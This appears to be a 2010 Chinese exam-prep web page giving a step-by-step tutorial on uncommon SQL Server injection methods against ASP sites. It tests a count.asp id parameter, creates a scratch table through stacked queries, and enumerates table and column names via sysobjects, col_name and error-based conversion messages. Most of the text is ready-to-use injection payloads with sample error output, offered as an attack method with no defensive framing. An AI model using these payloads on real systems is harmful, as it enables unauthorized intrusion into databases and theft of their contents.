当前所在位置:珠峰网资料 >> 计算机 >> 计算机等级考试 >> 正文
SQLSERVER数据库脚本注入的不常见方法概括
发布时间:2010/5/27 11:06:25 来源:城市学习网 编辑:ziteng
  关于文章的系统原理,全部文章均在数据库存有一个副本。另处根据模板生成一个HTML页面。下面会着重介绍一下SQL SERVER 数据库脚本注入的不常见的一些方法。
  攻击方法: 查看源文件/看里面是否有通过JS来调用的页面。如调用来更新文章的浏览次数。
  我们就可以这样来试一下可否注入: http://服务器域名/count.asp?id=1552’
  看一下是否出错。如出错说明有注入漏洞。然后正常攻击。
  在本机建立一下post.htm的文件和log.txt的文本文件(用来记录用,这是一个好习惯)
  post.htm内容:主要是方便输入。
  对于SQLSERVER的服务器可以这样判断:在1552后加一分号,如正常有可能是SQLSERVER
  对于这类数据库可以先建一个表id=1552;create table aaa(aaa char(20));--
  然后插入一条记录:id=1552;insert into aaa values(’test’);--
  再之后枚举出他的数据表名:
  id=1552;update aaa set aaa=(select top 1 name from sysobjects
  where xtype=’u’ and status>0);--
  这是将第一个表名更新到aaa的字段处。
  id=1552 and exists(select * from aaa where aaa>5)
  就会报错,多数情况会将表名直接读出:
  Microsoft OLE DB Provider for SQL Server 错误 ’80040e07’
  将 varchar 值 ’vote’ 转换为数据类型为 int 的列时发生语法错误。
  /search.asp,行21
  其中vote就是表名:
  也可以先猜出一个表名,再把(select top 1 name from sysobjects
  where xtype=’u’ and status>0)的值更新到那个表的一条记录中去。
  通过网页显示。
  读出第一个表,第二个表可以这样读出来(在条件后加上 and name<>’
  刚才得到的表名’)。
  id=1552;update aaa set aaa=(select top 1 name
  from sysobjects where xtype=’u’ and status>0
  and name<>’vote’);--
  然后id=1552 and exists(select * from aaa where aaa>5)
  读出第二个表,^^^^^^一个个的读出,直到没有为止。
  读字段是这样:
  id=1552;update aaa set aaa=(select top 1 col_name
  (object_id(’表名’),1));--
  然后id=1552 and exists(select * from aaa where aaa>5)
  出错,得到字段名
  id=1552;update aaa set aaa=(select top 1
  col_name(object_id(’表名’),2));--
  然后id=1552 and exists(select * from aaa
  where aaa>5)出错,得到字段名
  ……类推
广告合作:400-664-0084 全国热线:400-664-0084
Copyright 2010 - 2017 www.my8848.com 珠峰网 粤ICP备15066211号
珠峰网 版权所有 All Rights Reserved